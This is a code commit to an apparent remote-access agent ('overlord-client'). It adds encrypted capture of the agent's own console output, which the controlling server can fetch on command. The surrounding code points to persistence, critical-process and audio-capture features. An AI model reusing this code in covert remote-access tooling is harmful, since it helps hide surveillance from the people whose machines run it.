encrypted logs, more customization for admins.
This commit is contained in:
@@ -33,6 +33,7 @@ var DefaultBuildTag = ""
|
||||
var DefaultSleepSeconds = "0"
|
||||
var DefaultCriticalProcess = "false"
|
||||
var DefaultFetchPublicIP = "false"
|
||||
var DefaultSecureLogPublicKey = ""
|
||||
|
||||
const settingsFile = "config/settings.json"
|
||||
const serverIndexFile = "config/server_index.json"
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/securelog"
|
||||
"overlord-client/cmd/agent/sysinfo"
|
||||
"overlord-client/cmd/agent/webrtcpub"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
@@ -2023,6 +2024,31 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
caps := audio.ProbeCapabilities()
|
||||
payload, _ := json.Marshal(caps)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
|
||||
case "client_logs_request":
|
||||
payload := payloadAsMap(envelope["payload"])
|
||||
sinceSeq := uint64(payloadNumberToInt64(payload["sinceSeq"]))
|
||||
limit := int(payloadNumberToInt64(payload["limit"]))
|
||||
snap := securelog.SnapshotLogs(sinceSeq, limit)
|
||||
entries := make([]wire.ClientLogEntry, 0, len(snap.Entries))
|
||||
for _, entry := range snap.Entries {
|
||||
entries = append(entries, wire.ClientLogEntry{
|
||||
Seq: entry.Seq,
|
||||
At: entry.At,
|
||||
Source: entry.Source,
|
||||
Blob: entry.Blob,
|
||||
})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.ClientLogsResult{
|
||||
Type: "client_logs_result",
|
||||
CommandID: cmdID,
|
||||
OK: snap.Enabled && snap.Error == "",
|
||||
Entries: entries,
|
||||
Dropped: snap.Dropped,
|
||||
FromSeq: snap.FromSeq,
|
||||
ToSeq: snap.ToSeq,
|
||||
Enabled: snap.Enabled,
|
||||
Error: snap.Error,
|
||||
})
|
||||
case "desktop_audio_start":
|
||||
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
||||
source := "system"
|
||||
|
||||
@@ -4,21 +4,10 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/securelog"
|
||||
)
|
||||
|
||||
var devNullFile *os.File
|
||||
|
||||
func init() {
|
||||
log.SetOutput(io.Discard)
|
||||
|
||||
file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
devNullFile = file
|
||||
os.Stdout = file
|
||||
os.Stderr = file
|
||||
securelog.Install(config.DefaultSecureLogPublicKey)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
package securelog
|
||||
|
||||
type Entry struct {
|
||||
Seq uint64 `msgpack:"seq" json:"seq"`
|
||||
At int64 `msgpack:"at" json:"at"`
|
||||
Source string `msgpack:"source" json:"source"`
|
||||
Blob string `msgpack:"blob" json:"blob"`
|
||||
}
|
||||
|
||||
type Snapshot struct {
|
||||
Entries []Entry
|
||||
Dropped uint64
|
||||
FromSeq uint64
|
||||
ToSeq uint64
|
||||
Enabled bool
|
||||
Error string
|
||||
}
|
||||
@@ -0,0 +1,263 @@
|
||||
//go:build noprint
|
||||
// +build noprint
|
||||
|
||||
package securelog
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
maxEntries = 2048
|
||||
maxLineBytes = 64 * 1024
|
||||
maxSnapshotCount = 512
|
||||
)
|
||||
|
||||
type encryptedEnvelope struct {
|
||||
V int `json:"v"`
|
||||
Alg string `json:"alg"`
|
||||
Seq uint64 `json:"seq"`
|
||||
At int64 `json:"at"`
|
||||
Source string `json:"source"`
|
||||
WrappedKey string `json:"wrappedKey"`
|
||||
Nonce string `json:"nonce"`
|
||||
Ciphertext string `json:"ciphertext"`
|
||||
}
|
||||
|
||||
type captureWriter struct {
|
||||
source string
|
||||
}
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
entries []Entry
|
||||
dropped uint64
|
||||
seq uint64
|
||||
enabled atomic.Bool
|
||||
lastError atomic.Value
|
||||
publicKey *rsa.PublicKey
|
||||
originalOut *os.File
|
||||
originalErr *os.File
|
||||
)
|
||||
|
||||
func Install(publicKeyB64 string) {
|
||||
if enabled.Load() {
|
||||
return
|
||||
}
|
||||
originalOut = os.Stdout
|
||||
originalErr = os.Stderr
|
||||
|
||||
key, err := parsePublicKey(publicKeyB64)
|
||||
if err != nil {
|
||||
setError(err.Error())
|
||||
log.SetOutput(io.Discard)
|
||||
redirectToNull()
|
||||
return
|
||||
}
|
||||
publicKey = key
|
||||
enabled.Store(true)
|
||||
|
||||
log.SetOutput(captureWriter{source: "log"})
|
||||
log.SetFlags(log.LstdFlags)
|
||||
redirectPipe("stdout", originalOut, func(f *os.File) { os.Stdout = f })
|
||||
redirectPipe("stderr", originalErr, func(f *os.File) { os.Stderr = f })
|
||||
}
|
||||
|
||||
func SnapshotLogs(sinceSeq uint64, limit int) Snapshot {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
|
||||
if limit <= 0 || limit > maxSnapshotCount {
|
||||
limit = maxSnapshotCount
|
||||
}
|
||||
out := make([]Entry, 0, min(limit, len(entries)))
|
||||
for _, entry := range entries {
|
||||
if entry.Seq <= sinceSeq {
|
||||
continue
|
||||
}
|
||||
out = append(out, entry)
|
||||
if len(out) >= limit {
|
||||
break
|
||||
}
|
||||
}
|
||||
var from, to uint64
|
||||
if len(out) > 0 {
|
||||
from = out[0].Seq
|
||||
to = out[len(out)-1].Seq
|
||||
}
|
||||
return Snapshot{
|
||||
Entries: out,
|
||||
Dropped: dropped,
|
||||
FromSeq: from,
|
||||
ToSeq: to,
|
||||
Enabled: enabled.Load(),
|
||||
Error: currentError(),
|
||||
}
|
||||
}
|
||||
|
||||
func (w captureWriter) Write(p []byte) (int, error) {
|
||||
record(w.source, p)
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func redirectPipe(source string, mirror *os.File, assign func(*os.File)) {
|
||||
reader, writer, err := os.Pipe()
|
||||
if err != nil {
|
||||
setError(fmt.Sprintf("%s pipe failed: %v", source, err))
|
||||
redirectToNull()
|
||||
return
|
||||
}
|
||||
assign(writer)
|
||||
go readPipe(source, reader, mirror)
|
||||
}
|
||||
|
||||
func readPipe(source string, reader *os.File, mirror *os.File) {
|
||||
scanner := bufio.NewScanner(reader)
|
||||
scanner.Buffer(make([]byte, 4096), maxLineBytes)
|
||||
for scanner.Scan() {
|
||||
record(source, append(scanner.Bytes(), '\n'))
|
||||
}
|
||||
if err := scanner.Err(); err != nil {
|
||||
record("securelog", []byte(fmt.Sprintf("%s capture error: %v\n", source, err)))
|
||||
}
|
||||
}
|
||||
|
||||
func record(source string, raw []byte) {
|
||||
if !enabled.Load() || publicKey == nil || len(raw) == 0 {
|
||||
return
|
||||
}
|
||||
if len(raw) > maxLineBytes {
|
||||
raw = append(raw[:maxLineBytes], []byte("\n[securelog] line truncated\n")...)
|
||||
}
|
||||
raw = bytes.TrimRight(raw, "\r\n")
|
||||
if len(raw) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
nextSeq := atomic.AddUint64(&seq, 1)
|
||||
now := time.Now().UnixMilli()
|
||||
blob, err := encryptEntry(nextSeq, now, source, raw)
|
||||
if err != nil {
|
||||
setError(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
entry := Entry{Seq: nextSeq, At: now, Source: source, Blob: blob}
|
||||
mu.Lock()
|
||||
if len(entries) >= maxEntries {
|
||||
copy(entries, entries[1:])
|
||||
entries[len(entries)-1] = entry
|
||||
dropped++
|
||||
} else {
|
||||
entries = append(entries, entry)
|
||||
}
|
||||
mu.Unlock()
|
||||
|
||||
mirrorEncrypted(entry)
|
||||
}
|
||||
|
||||
func encryptEntry(seq uint64, at int64, source string, plaintext []byte) (string, error) {
|
||||
aesKey := make([]byte, 32)
|
||||
nonce := make([]byte, 12)
|
||||
if _, err := rand.Read(aesKey); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return "", err
|
||||
}
|
||||
block, err := aes.NewCipher(aesKey)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
aad := []byte(fmt.Sprintf("%d:%d:%s", seq, at, source))
|
||||
ciphertext := gcm.Seal(nil, nonce, plaintext, aad)
|
||||
wrapped, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, aad)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
env := encryptedEnvelope{
|
||||
V: 1,
|
||||
Alg: "RSA-OAEP-SHA256+A256GCM",
|
||||
Seq: seq,
|
||||
At: at,
|
||||
Source: source,
|
||||
WrappedKey: base64.StdEncoding.EncodeToString(wrapped),
|
||||
Nonce: base64.StdEncoding.EncodeToString(nonce),
|
||||
Ciphertext: base64.StdEncoding.EncodeToString(ciphertext),
|
||||
}
|
||||
jsonBytes, err := json.Marshal(env)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(jsonBytes), nil
|
||||
}
|
||||
|
||||
func mirrorEncrypted(entry Entry) {
|
||||
if originalOut == nil {
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprintf(originalOut, "OVERLORD-SECURE-LOG v1 seq=%d source=%s %s\n", entry.Seq, entry.Source, entry.Blob)
|
||||
}
|
||||
|
||||
func parsePublicKey(publicKeyB64 string) (*rsa.PublicKey, error) {
|
||||
raw := strings.TrimSpace(publicKeyB64)
|
||||
if raw == "" {
|
||||
return nil, fmt.Errorf("secure log public key missing")
|
||||
}
|
||||
der, err := base64.StdEncoding.DecodeString(raw)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("secure log public key decode failed: %w", err)
|
||||
}
|
||||
pub, err := x509.ParsePKIXPublicKey(der)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("secure log public key parse failed: %w", err)
|
||||
}
|
||||
rsaPub, ok := pub.(*rsa.PublicKey)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("secure log public key is not RSA")
|
||||
}
|
||||
return rsaPub, nil
|
||||
}
|
||||
|
||||
func redirectToNull() {
|
||||
file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
os.Stdout = file
|
||||
os.Stderr = file
|
||||
}
|
||||
|
||||
func setError(msg string) {
|
||||
lastError.Store(msg)
|
||||
}
|
||||
|
||||
func currentError() string {
|
||||
if v := lastError.Load(); v != nil {
|
||||
if s, ok := v.(string); ok {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
//go:build !noprint
|
||||
// +build !noprint
|
||||
|
||||
package securelog
|
||||
|
||||
func Install(_ string) {}
|
||||
|
||||
func SnapshotLogs(_ uint64, _ int) Snapshot {
|
||||
return Snapshot{Enabled: false, Error: "secure client logs are not enabled for this build"}
|
||||
}
|
||||
@@ -67,6 +67,25 @@ type CommandResult struct {
|
||||
Message string `msgpack:"message,omitempty"`
|
||||
}
|
||||
|
||||
type ClientLogEntry struct {
|
||||
Seq uint64 `msgpack:"seq" json:"seq"`
|
||||
At int64 `msgpack:"at" json:"at"`
|
||||
Source string `msgpack:"source" json:"source"`
|
||||
Blob string `msgpack:"blob" json:"blob"`
|
||||
}
|
||||
|
||||
type ClientLogsResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
OK bool `msgpack:"ok"`
|
||||
Entries []ClientLogEntry `msgpack:"entries,omitempty"`
|
||||
Dropped uint64 `msgpack:"dropped,omitempty"`
|
||||
FromSeq uint64 `msgpack:"fromSeq,omitempty"`
|
||||
ToSeq uint64 `msgpack:"toSeq,omitempty"`
|
||||
Enabled bool `msgpack:"enabled"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type FrameHeader struct {
|
||||
Monitor int `msgpack:"monitor"`
|
||||
FPS int `msgpack:"fps"`
|
||||
|
||||
Reference in New Issue
Block a user